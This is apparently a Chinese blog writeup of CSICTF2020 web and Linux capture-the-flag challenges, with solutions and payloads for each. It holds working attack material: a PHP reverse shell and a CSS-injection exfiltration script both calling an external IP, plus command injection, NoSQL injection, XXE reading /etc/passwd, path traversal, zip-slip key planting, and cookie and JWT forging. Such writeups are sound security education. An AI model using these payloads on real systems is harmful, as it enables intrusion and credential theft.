文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-07-26   4.5k

CSICTF2020 Web+Linux Writeup

在ctfhub上面看到这个比赛,介绍里面说是面向萌新的,做了一下,题目确实比较友好,可以拿来练练手,而且到目前为止题目环境还没有关闭。很简单的题目就说一个考点略过去。。。。

https://ctf.csivit.com/challenges

https://github.com/csivitu/ctf-challenges

Web

Warm Up

考察SHA1弱类型比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if (isset($_GET['hash'])) {
if ($_GET['hash'] === "10932435112") {
die('Not so easy mate.');
}

$hash = sha1($_GET['hash']);
$target = sha1(10932435112);
if($hash == $target) {
include('flag.php');
print $flag;
} else {
print "csictf{loser}";
}
} else {
show_source(__FILE__);
}

?>

Cascade

F12直接Network查看CSS文件。

Oreo

考察Cookie

Mr Rami

这个题是真的坑。。。。真会玩

直接查看robot.txt就行。。

Secure Portal

考察JS代码混淆

一堆被混淆后的JS代码

1
var _0x575c=['\x32\x2d\x34','\x73\x75\x62\x73\x74\x72\x69\x6e\x67','\x34\x2d\x37','\x67\x65\x74\x49\x74\x65\x6d','\x64\x65\x6c\x65\x74\x65\x49\x74\x65\x6d','\x31\x32\x2d\x31\x34','\x30\x2d\x32','\x73\x65\x74\x49\x74\x65\x6d','\x39\x2d\x31\x32','\x5e\x37\x4d','\x75\x70\x64\x61\x74\x65\x49\x74\x65\x6d','\x62\x62\x3d','\x37\x2d\x39','\x31\x34\x2d\x31\x36','\x6c\x6f\x63\x61\x6c\x53\x74\x6f\x72\x61\x67\x65',];(function(_0x4f0aae,_0x575cf8){var _0x51eea2=function(_0x180eeb){while(--_0x180eeb){_0x4f0aae['push'](_0x4f0aae['shift']());}};_0x51eea2(++_0x575cf8);}(_0x575c,0x78));var _0x51ee=function(_0x4f0aae,_0x575cf8){_0x4f0aae=_0x4f0aae-0x0;var _0x51eea2=_0x575c[_0x4f0aae];return _0x51eea2;};function CheckPassword(_0x47df21){var _0x4bbdc3=[_0x51ee('0xe'),_0x51ee('0x3'),_0x51ee('0x7'),_0x51ee('0x4'),_0x51ee('0xa')];window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('9-12','BE*');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x2'),_0x51ee('0xb'));window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x6'),'5W');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('16',_0x51ee('0x9'));window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x5'),'pg');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('7-9','+n');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0xd'),'4t');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x0'),'$F');if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x8'))===_0x47df21[_0x51ee('0x1')](0x9,0xc)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x2'))===_0x47df21['substring'](0x4,0x7)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x6'))===_0x47df21[_0x51ee('0x1')](0x0,0x2)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]]('16')===_0x47df21[_0x51ee('0x1')](0x10)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x5'))===_0x47df21[_0x51ee('0x1')](0xc,0xe)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xc'))===_0x47df21[_0x51ee('0x1')](0x7,0x9)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xd'))===_0x47df21[_0x51ee('0x1')](0xe,0x10)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x0'))===_0x47df21[_0x51ee('0x1')](0x2,0x4))return!![];}}}}}}}return![];}

用在线工具解密一下

http://www.jsnice.org/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
'use strict';
/** @type {!Array} */
var _0x575c = ["2-4", "substring", "4-7", "getItem", "deleteItem", "12-14", "0-2", "setItem", "9-12", "^7M", "updateItem", "bb=", "7-9", "14-16", "localStorage"];
(function(data, i) {
/**
* @param {number} selected_image
* @return {undefined}
*/
var validateGroupedContexts = function fn(selected_image) {
for (; --selected_image;) {
data["push"](data["shift"]());
}
};
validateGroupedContexts(++i);
})(_0x575c, 120);
/**
* @param {string} ballNumber
* @param {?} opt_target
* @return {?}
*/
var _0x51ee = function PocketDropEvent(ballNumber, opt_target) {
/** @type {number} */
ballNumber = ballNumber - 0;
var ball = _0x575c[ballNumber];
return ball;
};
/**
* @param {!Object} results
* @return {?}
*/
function CheckPassword(results) {
/** @type {!Array} */
var easing = [_0x51ee("0xe"), _0x51ee("0x3"), _0x51ee("0x7"), _0x51ee("0x4"), _0x51ee("0xa")];
window[easing[0]][easing[2]]("9-12", "BE*");
window[easing[0]][easing[2]](_0x51ee("0x2"), _0x51ee("0xb"));
window[easing[0]][easing[2]](_0x51ee("0x6"), "5W");
window[easing[0]][easing[2]]("16", _0x51ee("0x9"));
window[easing[0]][easing[2]](_0x51ee("0x5"), "pg");
window[easing[0]][easing[2]]("7-9", "+n");
window[easing[0]][easing[2]](_0x51ee("0xd"), "4t");
window[easing[0]][easing[2]](_0x51ee("0x0"), "$F");
if (window[easing[0]][easing[1]](_0x51ee("0x8")) === results[_0x51ee("0x1")](9, 12)) {
if (window[easing[0]][easing[1]](_0x51ee("0x2")) === results["substring"](4, 7)) {
if (window[easing[0]][easing[1]](_0x51ee("0x6")) === results[_0x51ee("0x1")](0, 2)) {
if (window[easing[0]][easing[1]]("16") === results[_0x51ee("0x1")](16)) {
if (window[easing[0]][easing[1]](_0x51ee("0x5")) === results[_0x51ee("0x1")](12, 14)) {
if (window[easing[0]][easing[1]](_0x51ee("0xc")) === results[_0x51ee("0x1")](7, 9)) {
if (window[easing[0]][easing[1]](_0x51ee("0xd")) === results[_0x51ee("0x1")](14, 16)) {
if (window[easing[0]][easing[1]](_0x51ee("0x0")) === results[_0x51ee("0x1")](2, 4)) {
return !![];
}
}
}
}
}
}
}
}
return ![];
}
;

其实可以直接看checkPassword函数,下面这一块应该是给元素赋值

1
2
3
4
5
6
7
8
window[easing[0]][easing[2]]("9-12", "BE*");
window[easing[0]][easing[2]](_0x51ee("0x2"), _0x51ee("0xb"));
window[easing[0]][easing[2]](_0x51ee("0x6"), "5W");
window[easing[0]][easing[2]]("16", _0x51ee("0x9"));
window[easing[0]][easing[2]](_0x51ee("0x5"), "pg");
window[easing[0]][easing[2]]("7-9", "+n");
window[easing[0]][easing[2]](_0x51ee("0xd"), "4t");
window[easing[0]][easing[2]](_0x51ee("0x0"), "$F");

下面这一块就是检查密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (window[easing[0]][easing[1]](_0x51ee("0x8")) === results[_0x51ee("0x1")](9, 12)) {
if (window[easing[0]][easing[1]](_0x51ee("0x2")) === results["substring"](4, 7)) {
if (window[easing[0]][easing[1]](_0x51ee("0x6")) === results[_0x51ee("0x1")](0, 2)) {
if (window[easing[0]][easing[1]]("16") === results[_0x51ee("0x1")](16)) {
if (window[easing[0]][easing[1]](_0x51ee("0x5")) === results[_0x51ee("0x1")](12, 14)) {
if (window[easing[0]][easing[1]](_0x51ee("0xc")) === results[_0x51ee("0x1")](7, 9)) {
if (window[easing[0]][easing[1]](_0x51ee("0xd")) === results[_0x51ee("0x1")](14, 16)) {
if (window[easing[0]][easing[1]](_0x51ee("0x0")) === results[_0x51ee("0x1")](2, 4)) {
return !![];
}
}
}
}
}
}
}
}
return ![];

但是可以看到密码被拆分成很多部分,而且不是按0,1,2,3…顺序来的。_0x51ee我们不知道是什么变量,但是可以通过这两部分结合来看,发现元素赋值和检查密码的顺序是一样的,也就是说9-12位是BE*,4-7位是_0x51ee("0xb"),并且4-7对应_0x51ee("0x2"),再回过头来看一下_0x575c数组,刚好_0x575c[0x02]=4-7。以此类推,可以得到密码5W$Fbb=+nBE*pg4t^7M

Baby Count

考察文件包含+命令执行

robots.txt提示有一个checkpass.php文件,并且可以利用wrapper文件包含

checkpass.php

1
2
3
4
5
6
<?php
$password = "w0rdc0unt123";
// Cookie password.
echo "IMPORTANT!!! The page is still under development. This has a secret, do not push this page.";

header('Location: /');

wc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>wc as a service</title>
<style>
html,
body {
overflow: none;
max-height: 100vh;
}
</style>
</head>

<body style="height: 100vh; text-align: center; background-color: black; color: white; display: flex; flex-direction: column; justify-content: center;">
<?php
ini_set('max_execution_time', 5);
if ($_COOKIE['password'] !== getenv('PASSWORD')) {
setcookie('password', 'PASSWORD');
die('Sorry, only people from csivit are allowed to access this page.');
}
?>

<h1>Character Count as a Service</h1>
<form>
<input type="hidden" value="wc.php" name="file">
<textarea style="border-radius: 1rem;" type="text" name="text" rows=30 cols=100></textarea><br />
<input type="submit">
</form>
<?php
if (isset($_GET["text"])) {
$text = $_GET["text"];
echo "<h2>The Character Count is: " . exec('printf \'' . $text . '\' | wc -c') . "</h2>";
}
?>
</body>

</html>

把cookie中的password改成w0rdc0unt123,就可以输入text了

来看一下后端的处理逻辑:

1
2
3
4
5
6
<?php
if (isset($_GET["text"])) {
$text = $_GET["text"];
echo "<h2>The Character Count is: " . exec('printf \'' . $text . '\' | wc -c') . "</h2>";
}
?>

很明显$text参数是可以注入的。payload如下:

1
'; whoami #

反弹一个shell

1
'; php -r '$sock=fsockopen("47.97.199.89",11000);exec("/bin/sh -i <&3 >&3 2>&3");' #

全局查找一下flag文件

/ctf/system/of/a/down/flag.txt显示权限不够

README里面有一段Hash加密的值,送到工具里面去识别是MD5加密,放到网上去跑没有拍出来,看其他的wp是csictf

切换成ctf用户

The Confused Deputy

考察CSS注入

脚本生成payload

1
2
3
4
5
6
f = open("poc.css", "w")
dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-"
for i in dic:
payload = '''#000000;} input[type=password][value^="''' + i + '''"]{background-image:url("http://47.97.199.89:8888/?flag=''' + i + '''");} '''
f.write(payload + "\n")
f.close()

放到burp intrude模块爆破

在VPS上监听端口

逐次爆破各个位置得到flag。

File Library

题目直接给了源代码server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
const express = require('express');
const path = require('path');
const fs = require('fs');

const app = express();

const PORT = process.env.PORT || 3000;

app.listen(PORT, () => {
console.log(`Listening on port ${PORT}`);
});

app.get('/getFile', (req, res) => {
let { file } = req.query;

if (!file) {
res.send(`file=${file}\nFilename not specified!`);
return;
}

try {

if (file.includes(' ') || file.includes('/')) {
res.send(`file=${file}\nInvalid filename!`);
return;
}
} catch (err) {
res.send('An error occured!');
return;
}

if (!allowedFileType(file)) {
res.send(`File type not allowed`);
return;
}

if (file.length > 5) {
file = file.slice(0, 5);
}

const returnedFile = path.resolve(__dirname + '/' + file);

fs.readFile(returnedFile, (err) => {
if (err) {
if (err.code != 'ENOENT') console.log(err);
res.send('An error occured!');
return;
}

res.sendFile(returnedFile);
});
});

app.get('/*', (req, res) => {
res.sendFile(__dirname + '/index.html');
});

function allowedFileType(file) {
const format = file.slice(file.indexOf('.') + 1);

if (format == 'js' || format == 'ts' || format == 'c' || format == 'cpp') {
return true;
}

return false;
}

页面内还给了两个提示:

ok.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
console.log('Welcome to my sample javascript program!');

// Let's checkout some funny issues in JS!

[] == ![]; // -> true

false == []; // -> true
false == ![]; // -> true

console.log("b" + "a" + +"a" + "a"); // -> baNaNa

NaN === NaN; // -> false

(![] + [])[+[]] +
(![] + [])[+!+[]] +
([![]] + [][[]])[+!+[] + [+[]]] +
(![] + [])[!+[] + !+[]];
// -> 'fail'

document.all instanceof Object; // -> true
typeof document.all; // -> 'undefined'

Number.MIN_VALUE > 0; // -> true

[1, 2, 3] + [4, 5, 6]; // -> '1,2,34,5,6'

console.log('View more: https://github.com/denysdovhan/wtfjs');

a.cpp

1
2
3
4
#include <stdlib.h>
int main() {
system("cat flag.txt");
}

应该就是尝试利用server.js读取flag.txt。

审计源代码,主要是由两个关键的处理:

文件类型必须是js, ts, c, cpp

1
2
3
4
if (!allowedFileType(file)) {
res.send(`File type not allowed`);
return;
}

取文件名的前五位

1
2
3
if (file.length > 5) {
file = file.slice(0, 5);
}

最后用path.resolve拼接成最终路径。

payload就直接给出来了,反正我是没想到的。。。

1
/getFile?file[]=f&file[]=4&file[]=k&file[]=e&file[]=/../flag.txt&file[]=.&file[]=js

利用数组来绕过,node.js会解析成

1
file[] = ["f","4","k","e","/../flag.txt",".","js"]

这样就可以绕过后缀名和文件长度的检查。

这里还利用了path.resolve的一个特性

The method creates absolute path from right to left until an absolute path is constructed

该方法从右到左创建绝对路径,直到构造了绝对路径。

也就是执行完下面的语句

1
const returnedFile = path.resolve(__dirname + '/' + ["f","4","k","e","/../flag.txt"]);

结果就是__dirname+'/'+'/../flag.txt'

The Usual Suspects

考察tornado模板注入+生成cookie secret

很明显存在模板注入漏洞,用{{7*'7'}}验证一下

查看当前网页的cookie

1
"2|1:0|10:1595941408|5:admin|8:ZmFsc2U=|bfe7af9eba0d5c6717c341e50fd8660db4e4fccbce187a20c1236205df3e3171"

ZmFsc2U=false的base64编码

题目提示要拿secret,用{{config}}直接报错

Google一下tornado cookie secret

https://www.tornadoweb.org/en/stable/web.html#tornado.web.Application.settings

global()查看当前全局变量

application.settings获取cookie_secret

用脚本生成tornado cookies

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import hmac
import hashlib
from typing import (
Dict,
Any,
Union,
Optional,
Awaitable,
Tuple,
List,
Callable,
Iterable,
Generator,
Type,
cast,
overload,
)
_UTF8_TYPES = (bytes, type(None))
unicode_type = str

def utf8(value: Union[None, str, bytes]) -> Optional[bytes]: # noqa: F811
"""Converts a string argument to a byte string.
If the argument is already a byte string or None, it is returned unchanged.
Otherwise it must be a unicode string and is encoded as utf8.
"""
if isinstance(value, _UTF8_TYPES):
return value
if not isinstance(value, unicode_type):
raise TypeError("Expected bytes, unicode, or None; got %r" % type(value))
return value.encode("utf-8")

def _create_signature_v2(secret: Union[str, bytes], s: bytes) -> bytes:
hash = hmac.new(utf8(secret), digestmod=hashlib.sha256)
hash.update(utf8(s))
return utf8(hash.hexdigest())

def format_field(s: Union[str, bytes]) -> bytes:
return utf8("%d:" % len(s)) + utf8(s)

to_sign = b"|".join(
[
b"2",
format_field("0"),
format_field("1595249713"),
format_field("admin"),
format_field("dHJ1ZQ=="),
b"",
]
)


print(to_sign + _create_signature_v2('MangoDB\n',to_sign))

用这个更换原始的cookie,拿到flag。

CCC

考察文件包含+JWT

在右侧菜单栏中Our AdminsLogin不能直接点开,但是通过源代码可以看到链接了两个地址:/adminNames/login

访问/adminNames直接下载了一个文件,里面是一个github仓库地址:https://github.com/csivitu/authorized_users/blob/master

访问/login是一个登录界面,随便输入admin:admin,返回包中有一个JWT token

拿到jwt.io解码一下

1
2
3
4
5
6
{
"username": "nqzva",
"password": "nqzva",
"admin": "snyfr",
"iat": 1595922746
}

nqzva用ROT13解密得到adminsnyfr用ROT13解密得到flase,并且不管输入什么用户名和密码,都是相同的token,那么现在就需要拿到secret。

回头再来看/adminNames,发现了一个文件包含

那么久可以读取node.js的环境变量../.env,拿到secret

1
JWT_SECRET=Th1sSECr3TMu5TN0Tb3L43KEDEv3RRRRRR!!1

生成token

通过扫描目录得到/admin,访问返回:

1
{"success":false,"message":"Invalid Token, Headers?"}

通过Authorization字段发送请求包

ROT13解密得到flag。

Linux

AKA

大部分的命令都设置了alias,但是bash命令没有。

find32

感觉这题脑洞还是挺大的。。

SSH登录后有很多文件,内容也是随机的字母,32在ASCII码中代表空格字符,那么在CTF的flag中就是_来代替。

写一个脚本传到靶机上去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import os

path = "/user1/"
files = os.listdir(path)
for file in files:
if not os.path.isdir(file):
try:
with open(path+file, 'r') as f:
print('[+]' + path + file)
for line in f.readlines():
if '_' in line:
print(file)
except FileNotFoundError:
print('[-]' + file)
continue

打开这个文件,提示要用user2来登录

ssh登录之后,当前目录下有几个文件,文件大小类似,用diff命令一个个比较一下

HTB 0x01

nmap扫描出5001端口运行ftp服务,直接anonymous登录拿flag。

HTB 0x02~0x05

nmap扫描端口

1
2
22/tcp     open       ssh
3000/tcp open http

先来看看3000端口,访问http://34.93.215.188:3000/,有一个登录框

先用1 or 1=1 , 1' or 1=1 --';-#$()来测试是不是SQL注入,结果直接返回No user with username: ';-#$() and password: ';-#$()。再用burp fuzz一下常用的payload发现是NoSQL注入,直接用万能密码:

1
username[$ne]=ca01h&password[$ne]=ca01h

具体原理可以参考另外一篇博文:NoSQL注入之MongoDB

登录成功后跳转到上传页面

上传一个zip文件,再查看源代码,得到HTB 0x02的flag

看到可以用不用的数据格式提交查询,有一个是XML,用下面的payload看看是否存在XXE注入

1
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>

发现/etc/passwd暗藏一个gist地址:https://gist.github.com/sivel/c68f601137ef9063efd7

是一个管理SSH Key的工具,里面提到了两个文件,/usr/local/bin/userkeys.sh/etc/sshd/sshd_config。分别用上面的XXE payload看一下文件内容

/etc/sshd/sshd_config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none
# csictf{cu5t0m_4uth0rizat10n}
AuthorizedKeysCommand /usr/local/bin/userkeys.sh
AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication no
#PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of \"PermitRootLogin without-password\".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes

#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /var/run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

# no default banner path
#Banner none

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

# override default of no subsystems
Subsystem\tsftp\t/usr/lib/openssh/sftp-server

# Example of overriding settings on a per-user basis
#Match User anoncvs
#\tX11Forwarding no
#\tAllowTcpForwarding no
#\tPermitTTY no
#\tForceCommand cvs server"

其中包含了HTB 0x05的flag:csictf{cu5t0m_4uth0rizat10n}

接着看/usr/local/bin/userkeys.sh

1
2
3
4
5
6
7
#!/bin/bash

if [ \"$1\" == \"csictf\" ]; then
cat /home/administrator/uploads/keys/*
else
echo \"\"
fi

题目的意思应该要我们上传一个Public Key到/home/administrator/uploads/keys/,然后用ssh登录,能上传的地方就只有之前那个zip upload。看赛后的wp,这里用到的是zip slip漏洞:Zip Slip Vulnerability

先在本机上生成一个ssh public key,然后特殊的zip压缩文件,上传

1
2
3
$ ssh-keygen -t rsa     #filename:my_key
$ 7z a zip-slip.zip my_key.pub
$ 7z rn zip-slip.zip my_key.pub '../../../../../../../../../../home/administrator/uploads/keys/dunsp4rce.pub'

返回{success: true}

再ssh登录,在当前目录下得到HTB 0x03的flag

接着就是去/home目录下找各种文件了

/home/administrator/website/models/db.js中发现HTB 0x06的flag。

并且还给出了mongodb登录的口令

拿到HTB 0x04的flag。

Reference

https://dunsp4rce.github.io/csictf-2020/

https://github.com/team0se7en/CTF-Writeups/tree/master/csictf2020/

Copyright © ca01h 2019-2020 | 本站总访问量